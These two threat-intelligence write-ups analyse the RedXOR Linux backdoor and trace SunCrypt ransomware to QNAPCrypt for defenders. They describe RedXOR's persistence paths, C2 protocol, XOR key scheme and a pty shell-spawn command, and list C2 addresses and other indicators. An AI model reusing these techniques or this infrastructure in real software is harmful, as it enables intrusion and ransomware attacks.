Overall flow and functionalities: The overall code flow, behavior, and capabilities of RedXOR are very similar to PWNLNX. Both have file uploading and downloading functionalities together with a running shell. The network tunneling functionality in both families is called “PortMap”.
Unstripped ELF binaries: Malware developers will often tamper with a file’s symbols and/or sections, making it harder for researchers to analyze them. However, RedXOR and various Winnti malware, including PWNLNX and XOR.DDOS, are unstripped.

Technical Analysis

The samples are both unstripped 64-bit ELF files called po1kitd-update-k. Uploaded to VirusTotal from Taiwan and Indonesia, they are low detected at the time of this writing.

Figure 4: 2bd6e2f8c1a97347b1e499e29a1d9b7c in VirusTotal

Malware Installation

Upon execution RedXOR forks off a child process allowing the parent process to exit. The purpose is to detach the process from the shell. The new child determines if it has been executed as the root user or as another user on the system. It does this to create a hidden folder, called .po1kitd.thumb, inside the user’s home folder which is used to store files related to the malware. The malware creates a hidden file called .po1kitd-2a4D53 inside the folder. The file is locked to the current running process, seen in Figure 5, essentially creating a mutex. If another instance of the malware is executed, it also tries to obtain the lock but ultimately fails. Upon this failure the process exits.

Figure 5: The malware creates a mutex file locking it to the process ID

After the malware creates the mutex, it installs itself on the infected machine. As shown in Figure 6, the malware looks up its current path and moves the binary to the created folder. It hides the file by naming it .po1kitd-update-k.

Figure 6: Malware moves the binary to the hidden folder po1kitd.thumb created earlier. It first tries to use the rename function provided by libc. If this fails, it executes an mv shell command via the system function

After installing the binary to the hidden folder, the malware sets up persistence via init scripts. The following files are created after executing the malware on boot:

/usr/syno/etc/rc.d/S99po1kitd-update.sh
/etc/init.d/po1kitd-update
/etc/rc2.d/S99po1kitd-update

The malware checks if the rootkit is active by creating a file and removing it. Then, the malware compares the “saved set-user-ID” of the process to the user ID. If they don’t match, the rootkit is enabled. If they match, it looks to see if the user ID is “10”. If this is the case, the rootkit is enabled. This logic is shown in Figure 7.

Figure 7: Logic used by RedXOR to check if the rootkit is enabled

The CheckLKM logic is almost identical to the adore_init function in the “adore-ng” rootkit. Afore-ng is a Chinese open-source LKM (Loadable Kernel Module) rootkit. This technique allows the malware to stay under the radar by hiding its processes. The code for the init function is shown in Figure 8.

Figure 8: Client authentication code for the adore-ng rootkit

Configuration

The malware stores the configuration encrypted within the binary. In addition to the Command and control (C2) IP address and port it can also be configured to use a proxy. The configuration includes a password, as can be seen in Figure 9. This password is used by the malware to authenticate to the C2 server.

Figure 9: Configuration options for the malware

The configuration values are decrypted by the doXor function. A pseudo-code representation of the function is shown in Figure 10. The decryption logic is a simple XOR against a byte key. The byte key is incremented by a constant for each item in the buffer. The only configuration value that is not encrypted is the server port. The port value is used to derive the key and the adder. The key is derived from bit shifting the port value eight steps to the right. The constant uses the port value.

Figure 10: Decryption logic of the configuration data. The data is XORed against a key byte that is incremented by a constant for each entry in the buffer

Communication with the C2

The malware communicates with the C2 server over a TCP socket. The traffic is made to look like HTTP traffic. Figure 11 shows a pseudo-code representation of the function used by the malware to prepare data that is to be sent to the C2 server. First, it fills the buffer with null bytes. The request body is XORed against a key. The malware uses the buffer length as the key. This value is also passed into the function as the “total_length” argument.

Figure 11: Function for preparing data to be sent to the C2 server

The same logic is used to decrypt the response body from the C2 server. From the response, the malware extracts “JSESSIONID”, “Content-Length”, “Total-Length” and the response body. The data is added to a struct with the following layout:

0x0 JSESSIONID as int
0x8 Content-Length as long
0x10 Total-Length as long
0x18 Response body

The content length is the length of the response body but also used as the key. The total length value is used as a constant which is added to the key in each iteration. The JSESSIONID value holds the command ID for the job the C2 wants the malware to perform.

Commands

The C2 server tells the malware to execute different commands via a command code that is returned in the “JSESSIONID” cookie. The codes are encoded as decimal integers. A full list of commands supported by the analyzed malware sample are shown in the table below. They can be grouped into command types. Commands in the 2000 range provide “filesystem” interaction, 3000 handle “shell” commands, and 4000 handle network tunneling.

Table 1: List of commands supported by the malware

Code	Command
0000	System information
0008	Update
0009	Uninstall
1000	Ping
1010	Install LKM
2049	List folder
2054	Upload file
2055	Open file
2056	Execute with system
2058	Remove file
2060	Remove folder
2061	Rename
2062	Create new folder
2066	Write content to file
3000	Start shell
3058	Exec shell command
3999	Close tty
4001	Portmap (Proxy)
4002	Kill portmap

System Information

When the malware first contacts the C2 server it sends a password encoded in the request body. The C2 server responds with the command code 0 to collect system information. The data collected about the system by the malware is listed in the table below. The data is serialized into a URL query-like string, encrypted and then sent as the request body.

Table 2: Data collected by the malware and sent back to the C2 server

URL key	Description	Comment
hostip	IP	Hardcoded to 127.0.0.1
softtype		Hardcoded to “Linux”
pscaddr	MAC address
hostname	Machine name
hosttar	Username	Possibly “host target”
hostos	Distribution	Extracted from /etc/issue or /etc/redhat-release
hostcpu	Clock speed	/proc/cpuinfo
hostmem	Amount of memory	/proc/meminfo
hostpack		Hardcoded to “Linux”
lkmtag	Is rootkit enabled
kernel	Kernel version	Extracted from uname

Figure 12 shows the communication between RedXOR and the C2. The malware sends the password pd=admin and C2 responds with all right (JSESSIONID=0000). Next, the malware sends the system information and the C2 replies with the ping command (JSESSIONID=1000).

Figure 12: RedXOR communication with C2

Update Functionality

The malware can be updated by the threat actor. This is performed by sending command code 8 to the malware. When the malware receives this code the following actions are taken:

The malware opens the mutex file for writing.
It sends a request with the command code 8 and an empty request body to the C2 server.
The response body from the server is written to the mutex file. The response body is not encrypted.
The lock is released on the mutex file.
The malware executes “chmod” to set the execution flag on the file via the libc system function.
The malware sleeps and tries to obtain the lock on the file again when it wakes up. If it fails, it assumes the update was successful, closes the connection to the C2 server and exits.

Shell Functionality

The malware has the ability to provide its operator with a tty shell. If a shell is requested via the command code 3000, the malware creates a new thread executing /bin/sh. In the new spawned shell, the malware executes python -c "import pty;pty.spawn('/bin/sh')" to get a pseudo-terminal (pty) interface. Any shell commands sent to the malware with the command code of 3058 are executed in the pty and the response is returned to the operator.

Network Tunneling

Network tunneling is enabled by sending the command code 4001 to the malware. As part of the request, a “configuration” is sent as part of the response body. The configuration consists of three items separated by a “#” character. The items are: a port to bind to, the IP to connect to, and a port to connect to. The malware uses a modified version of the open-source project Rinetd for the tunneling logic. Rinetd is designed to use a configuration file stored on the machine. To get around this, the malware author has modified the function that parses the configuration in order to directly take the required values normally found in the configuration file.

Detection & Response

Detect if a Machine in Your Network Has Been Compromised

Use a Cloud Workload Protection Platform like Intezer Protect to gain full runtime visibility over the code in your Linux-based systems and get alerted on any malicious or unauthorized code or commands. Try our free community edition Figure 13 emphasizes an Intezer Protect alert on a compromised machine. The alert provides additional context about the malicious code including threat classification (RedXOR), binary’s path on the disk, process tree, command, and hash.

Figure 13: Intezer Protect alerts on RedXOR

We also recommend using the IOCs section below to ensure that the RedXOR process and the files it creates do not exist on your system.

Intezer Protect defends all types of compute resources—including VMs, containers and Kubernetes—against the latest Linux threats in runtime. Try our free community edition

Response

If you are a victim of this operation, take the following steps:

Kill the process and delete all files related to the malware.
Make sure your machine is clean and running only trusted code using a Cloud Workload Protection Platform like Intezer Protect.

Wrap Up

Linux systems are under constant attack given that Linux runs on most of the public cloud workload. A survey conducted by Sophos found that 70% of organizations using the public cloud to host data or workloads experienced a security incident in the past year. Along with botnets and cryptominers, the Linux threat landscape is also home to sophisticated threats like RedXOR developed by nation-state actors. RedXOR samples are indexed in Intezer Analyze so that you can detect any suspicious file that shares code with this malware.

Figure 14: RedXOR sample in Intezer Analyze

IoCs

Files

0a76c55fa88d4c134012a5136c09fb938b4be88a382f88bf2804043253b0559f
0423258b94e8a9af58ad63ea493818618de2d8c60cf75ec7980edcaa34dcc919

Network

update[.]cloudjscdn[.]com
158[.]247[.]208[.]230
34[.]92[.]228[].216

Process name

po1kitd-update-k

File and directories created on disk

.po1kitd-update-k
.po1kitd.thumb
.po1kitd-2a4D53
.po1kitd-k3i86dfv
.po1kitd-nrkSh7d6
.po1kitd-2sAq14
.2sAq14
.2a4D53
po1kitd.ko
po1kitd-update.desktop
S99po1kitd-update.sh

When Viruses Mutate: Did SunCrypt Ransomware Evolve from QNAPCrypt?

Tue, 02 Mar 2021 00:00:00 +0000

Dov Lerner from Cybersixgill contributed to this report

Intro

Programmers frequently reuse code, as recycling something that is already written and functional is much more efficient than writing from scratch. Malware authors are no different; functions and modules from one malware can be reused in the next. Because of this, code reuse analysis can connect different malware to the same author.

When performing code reuse analysis, it is important to ensure that the code is unique to the specific developer and not common code that, for example, is part of an open-source library since open-source code can be used by many and cannot be tied to a specific author. If this is handled correctly, code reuse is a very powerful method for attributing malware to a specific malware author.

There is a constant churn of new actors and malware families. However, sometimes a seemingly new threat actor is just a “rebranding” or a new group formed by known actors. For example, in May 2019, the GandCrab group announced that they were retiring from their ransomware activity. Not long after, researchers connected a new ransomware called REvil (also known as Sodinokibi) to the then defunct GandCrab ransomware. REvil shared unique code similarities with GandCrab. This suggested that when GandCrab was closing down, the malware authors switched to develop a new ransomware using some of the code from GandCrab in a new collaboration with other threat actors.

This report uses both dark web research and malware analysis to investigate the connection between the affiliate ransomware service known as SunCrypt and the QNAPCrypt ransomware, the latter of which was used against QNAP and Synology devices back in 2019. While the two ransomware are operated by distinct different threat actors on the dark web, there are strong technical connections in code reuse and techniques, linking the two ransomware to the same author. Just because a malware is a derivative of another malware does not mean it will be deployed in exactly the same way. A new operator may use different targets, tactics, techniques and procedures (TTPs), which can include new evasion techniques. Defenders must remain vigilant.

Technical Connection

SunCrypt is a Ransomware as a Service (RaaS) that uses a closed affiliate program on the dark web. The history of this RaaS can be traced back to circa October 2019. In October 2019, a new ransomware was found in-the-wild (5657abdb9d99cd5aec433099f8d6f53d). The new ransomware was written in Go and targeted Windows machines. This version of SunCrypt was not reported in many attacks and it wasn’t until mid-2020 when a new version of the ransomware written in C/C++ was discovered, that attacks started to increase. It is an interesting shift of retooling from Go to C/C++ when other groups are instead retooling from C/C++ to Go.

While the RaaS didn’t appear until October 2019, these ransomware share connections with another ransomware, called QNAPCrypt (also known as eCh0raix), that was used to target Network Attached Storage (NAS) devices back in July 2019. Both families share identical code logic for the file encryption, which we can conclude with high certainty has been compiled from the same source code.

SunCrypt 2020 and SunCrypt 2019

The SunCrypt variant that was released in 2020 is written in C. Due to this, it does not have any shared code with the earlier version from 2019. The functionality of SunCrypt has been well-documented and some of the behaviors are similar between the two variants. For example, both variants are designed to encrypt and steal data. This, together with the name, is not enough to link the two variants together. Instead, we have to look at other data points.

After the ransomware has stolen and encrypted the files on the infected machine, the user is presented with a ransom note. The ransom note for the 2020 variant is shown in Figure 1 below. The note can be read in English, German, French, Spanish or Japanese. It has an input box that when the user enters the unique ID, sends the user to a chat interface.

Figure 1: Ransom note pages for SunCrypt. Left is showing the original ransom note and right is showing the current ransom note used. Both share the same typos and structure. The current ransom note provides a link to the leak site while the original note does not.

The ransom note for the 2019 variant is very similar. It has essentially the same text. The background color is different. The major difference is that the 2019 version does not include the text of leaking the stolen data if the ransom is not paid, as can be seen in Figure 1.

Connection to QNAPCrypt

The 2021 variant is potentially a beta release of the RaaS. The version included in the PDB path is “0.1” as can be seen in Figure 2. The figure is showing a partial output of redress, a tool used to analyze Go binaries. As part of the output, we can see a file called “aes.go” with two functions. Note that one of the functions has a typo in the name, “EncEAS” instead of “EncAES.” A similar file has been found being part of another malware family, QNAPCrypt. This typo was included in two samples of version 2 of QNAPCrypt (8dd59345cc034317630b2ac2ee19b362 and 516291d10b370c7be3863335cf5d57eb). An output generated by redress from one of the QNAPCrypt samples is shown in Figure 3. After searching both our data set of malware and a retro hunt on VirusTotal, only these three samples have the two function names. From this, we can conclude that the typo is unique and potentially shared code between the two ransomware families.

Figure 2: Partial output of redress for SunCrypt 2019 variant. One of the functions has the typo EAS instead of AES.

Figure 3: Output from redress for a version of QNAPCrypt with the same typo.

A deeper analysis of the function confirms that they are derived from the same source. A flow graph of “EncFile” is shown in Figure 4 and a flow graph for “EncEAS” is shown in Figure 5.

Figure 4: Flow graphs for EncFile function. The flow is identical.

The samples are compiled for different operating systems and architectures using different versions of the Go compiler which results in a slight difference in the generated assembly code. The function opens a file handler to the file to be encrypted. It uses the “Stat” function provided by Go’s standard library to determine the file size. Based on the size, the flow splits into two different branches.

For SunCrypt, if the file is larger than 100 MB it goes down one branch while QNAPCrypt uses a cutoff of 10 MB. Files smaller than the cutoff size goes down to the second branch. In the large file branch, the SunCrypt reads in the first 100 MB using the “ReadAtLeast” function that is part of the standard library “io” package. QNAPCrypt does the same but in the first 10 MB instead.

For the smaller files, both families use the “ReadFile” function from the “io” package. The read-in data is passed to the “EncEAS” function that encrypts the data. The content is finally written to disk as a new file with an extension appended while the original file is removed. Except for the size cutoff, the function logic in the two families is identical.

The “EncEAS” function encrypts the data using AES in Cipher Feedback (CFB) mode. A comparison between the flow graphs is shown in Figure 5 below. As with the “EncFile” function, the “EncEAS” function has an identical logic and it can be confirmed that it was compiled from a very similar source code.

Figure 5: Flow graph comparison between SunCrypt and QNAPCrypt's EncEAS function.

Other Similarities

In addition to the shared code between the two malware families for the functionality responsible for the file encryption, the two families also have other similarities. The similarities on their own do not indicate a connection, but the collection of all of them does. The presentation of them is to strengthen the connection indicated by the shared code. Figure 6 is showing functions in QNAPCrypt that share similarities with functions in SunCrypt.

Figure 6: Functions with similarities between QNAPCrypt and SunCrypt. File encryption logic is identical while the key generation and the encryption of the key is very similar. Both malware use the locale of the machine and GeoIP to determine the location of the machine.

Both ransomware are designed to not run on some of the Commonwealth of Independent States (CIS). QNAPCrypt will not perform any encryption of files if it believes it is running on a Belarusian, Russian or Ukrainian machine. SunCrypt does the same, but also includes Kyrgyzstan and Syria in the list.

The way the ransomware tries to determine this is very similar, both use two sources for this information. One of the sources is the locale of the machine. As QNAPCrypt is targeting Linux machines and SunCrypt targets Windows machines, the way of obtaining this information is different. The second source is via geolocation based on the external IP address of the machine. Both ransomware reaches out to an external service to get this information, “ip-api.com” for SunCrypt and “ipapi.co” for QNAPCrypt. While the families use different services, they both use the locale on the machine and the geoip information to determine if the machine is located in a disallowed country.

As discussed in the section covering the file encryption code, the files are encrypted with AES in CFB mode. Both ransomware generates a unique 32 characters “password.” The logic for generating this code is very similar. A comparison of the logic is shown in Figure 7. The characters in the password are randomly selected from a list of valid characters that includes all the English upper and lower characters and the numbers 0 through 9. The list is identical between the malware. The rand implementation provided the math package in the standard library is used, which means the randomness is not cryptographic. The randomness is seeded with the current time. The main difference is that SunCrypt resets the seed every time the function responsible for generating the “password” is called, while QNAPCrypt sets the seed during the initialization. SunCrypt also uses the function to generate a victim identifier.

Figure 7: Generation of the encryption password. The function loops 32 times and uses rand.Intn to pick a random character from the list of valid characters. When the loop is done, the byte slice of characters is converted to a string.

The encryption password is encrypted with a public RSA key included in the binary. The logic for this code is similar as can be seen in Figure 8. The code uses the EncryptPKCS1v15 function that is part of the crypto/rsa package.

Figure 8: Encrypting of the password using the included public key in the binary.

Both ransomware families have command and control (C2) infrastructure hosted as Tor hidden services. The first version of QNAPCrypt reached out to the C2 to fetch information for the ransom note, including the Bitcoin wallet used for the campaign. SunCrypt sends campaign information and uploads stolen files to the C2 server. To access the hidden service, both families use a public available SocksV5 proxy. QNAPCrypt connects directly to an IP address (192.99.206[.]61) while the proxy used by SunCrypt is accessed via the domain vie8hoos[.]xyz.

The file types encrypted by the ransomware are also similar. Both families have a list of file extensions that they use to determine if the file should be encrypted. In total, SunCrypt has a list of 589 file extensions. If we compare the SunCrypt list to the list used by the first version of QNAPCrypt we can see that SunCrypt’s list has added four new entries and removed 19 entries. The lists are not sorted in any way so the extract lists appear exactly in the same order as they appeared in the malware. The code snippet below shows the diff between the two lists.

$ diff suncrypt_ext.lst qnap_ext_20190705.lst
460d459
< .mp4
562, 564d560
< .java
< .swift
< .go
589a586, 604
> .gcode
> .ngc
> .sldprt
> .sldasm
> .x_t
> .step
> .fits
> .cat
> .ctlg
> .fit
> .rsn
> .eml
> .vhdx
> .cfg
> .plist
> .bckup
> .far
> .tbz
> .abf

If we compare SunCrypt’s list to the list used by the second version of QNAPCrypt from August the same year, the overlap is even bigger. The “diff” output is shown in the snippet below. The difference is that SunCrypt has added three entries and removed two. This results in a string similarity of 0.991 which is a strong similarity.

$ diff suncrypt-files.lst qnap_ext_20190801.lst
562, 564d561
< .java
< .swift
< .go
589a587, 588
> .gcode
> .ngc

Dark Web Activity

Not long after the public reports on QNAPCrypt/eCh0raix, a new forum user named eCh0raix became active and started promoting the ransomware. Later, a SunCrypt user account promoted a new ransomware affiliate service. While both actors operated on the same popular Russian-language dark web forum, this is where the similarities end.

eCh0raix

The actor behind eCh0raix first posted on August 31, 2019, announcing an affiliate program for a ransomware targeting Linux, Figure 9. This includes a diagram showing how the program works.

Figure 9: Announcement post made by the eCh0raix actor on the dark web.

In the post (Figure 10), eCh0raix cites research by threat researchers (from Anomali and Trend Micro), a marketing technique often used by RaaS providers in order to bolster credibility.

Figure 10: The threat actor referring to public research on his ransomware.

From this initial post until June 20, 2020, the actor posted 27 new threads on the forum and another 77 replies to existing threads. They were quite gregarious, jumping into threads and sharing expertise and advice. While the actor did not give any updates on eCh0raix ransomware, all of the posts concluded with a signature that included the citation from the threat researchers.

The actor’s catalogue of posts dealt with a broad variety of topics. On December 25, 2019, eCh0raix offered a second service called DirBuster (Figure 11), for scanning domains, subdomains, pages, and scripts, which appears to have been rebranded as Masscan a few months later:

Figure 11: Forum post by the threat actor announcing port scanning service called Masscan.

The actor was also interested in virtualization, network access, and databases. They posted a lengthy account of hacking a Magento site, sold SSH root access/web shell access to a Costa Rican ad network and to an American IT company, and a database dump from a Canadian cannabis store.

In his final post (Figure 12) on the forum, the actor was looking to purchase a Shodan account from which to export IP addresses. Like every post before it, this post concluded with the same announcement of eCh0raix ransomware that had been used ten months prior.

Figure 12: Final post by the threat actor.

Since this was posted on June 20, 2020, without any reason or indication the account has been inactive.

SunCrypt

On August 12, 2020, the actor behind SunCrypt posted on the same forum for the first time. In a post titled [PARTNERSHIP PROGRAM] SunCrypt Ransomware (Figure 13), the actor posted characteristics of the ransomware and issued a call for five affiliates to spread the ransomware. The actor noted that once the affiliate program was full, “we will go into private again.”

Figure 13: Forum post announcing the SunCrypt partnership program.

The actor posted 11 more times, all on this single thread and having to do with searching for affiliates or answering technical questions about the ransomware. On August 29, the actor announced that the affiliate program was full. Then on September 3, they announced that a position was vacated.

On September 19, an actor posted on the thread (Figure 14), “Even hospitals are scammed by these scum,” and cited a Bleeping Computer article about a SunCrypt attack against University Hospital New Jersey (UHNJ).

Figure 14: Another threat actor posts in the SunCrypt thread about how the ransomware has been used in attacks against hospitals.

SunCrypt wrote defensively (Figure 15), “how can I see you are the most honest here…. Mother Teresa” a stretched take on “Let he who is without attacking a hospital with ransomware cast the first stone.”

The actor continued, blaming the hospital attack on a new affiliate, who was reportedly punished, since “we don’t do hospitals, government agencies, airports, and so on.”

Figure 15: The actor behind SunCrypt response to the hospital attack allegation.

Later that day, another actor posted a lengthy technical analysis of the ransomware. The SunCrypt actor angrily responded, “Tell me, why are you posting this here?” and requested that the moderator erase the post (Figure 16).

Figure 16: The threat actor's angry response to a technical analysis of the ransomware.

As of the date of this publication, the actor has not posted again. It is unclear why.

SunCrypt’s dedicated leak site (DLS) soon wound down. Starting on August 1, there were 15 posts of data from targeted organizations. After September 19, there were only three more over the next 10 days. Even though new samples of SunCrypt ransomware had surfaced in VirusTotal, it appears that SunCrypt’s public campaign on dark web forums and management of a DLS went dark.

It is unclear why the forum thread went silent and why the DLS site suspended operations, but the timing indicates that it was related to the hospital attack. SunCrypt’s operators may have been afraid that unwanted notoriety would attract law enforcement actions or security researchers, so they decided to keep a lower profile until the attention subsided.

Suddenly, on February 16, SunCrypt’s DLS listed a new victim: PRP Diagnostic Imaging. It appears that SunCrypt has returned to the business of public ransomware breaches.

It is notable that PRP provides “an extensive range of diagnostic [medical] imaging services,” such as MRIs, ultrasounds, and mammograms. Thus, while attacking a hospital may have forced the actor to suspend operations for several months, SunCrypt has returned and continues to target healthcare providers. These, despite the actor’s protest that “we don’t do hospitals.”

Comparing the Actors

Despite the code similarities between the two ransomwares, the actors behind them exhibited very different behaviors. The eCh0raix actor mentioned his ransomware in passing, but it was hardly their only focus. They launched other initiatives, shared advice, and participated in unrelated conversations in the forum.

Meanwhile, the SunCrypt actor was solely focused on a single purpose: advertising the ransomware in order to recruit affiliates. During his five weeks of activity, they were active in one thread only. SunCrypt operated a DLS site, indicating a more sophisticated operation, while eCh0raix did not.

Considering these behavioral differences, it is our assessment that the eCh0raix and SunCrypt accounts are operated by different individuals/groups. Perhaps the eCh0raix actor, overwhelmed by their many initiatives, decided that they did not have the resources to operate it and sold it to an affiliate. Maybe they were approached by a stranger asking to procure the source code. While we may never know the full story, it appears that the eCh0raix ransomware was transferred to and upgraded by the SunCrypt operators.

Conclusion

With technical analysis, it is possible to link the currently active version of SunCrypt back to QNAPCrypt, a ransomware that was used to target NAS devices back in the Summer of 2019. While the technical based evidence strongly provides a link between QNAPCrypt and the earlier version of SunCrypt, it is clear that both ransomware are operated by different individuals. Based on the available data, it is not possible to connect the activity between the two actors on the forum. This suggests that when new malware services derived from older services appear, they may not always be operated by the same people.

With this in mind, security officials should note that just because one malware family is an iteration of another, it does not mean that the new family will be deployed in exactly the same way. If a malware is exchanged, whether to an affiliate or over the dark web, then the new operators may choose different procedures, attack vectors, and targets. They might invest considerably in the new malware, adding features and evasion techniques. Defenders must remain vigilant.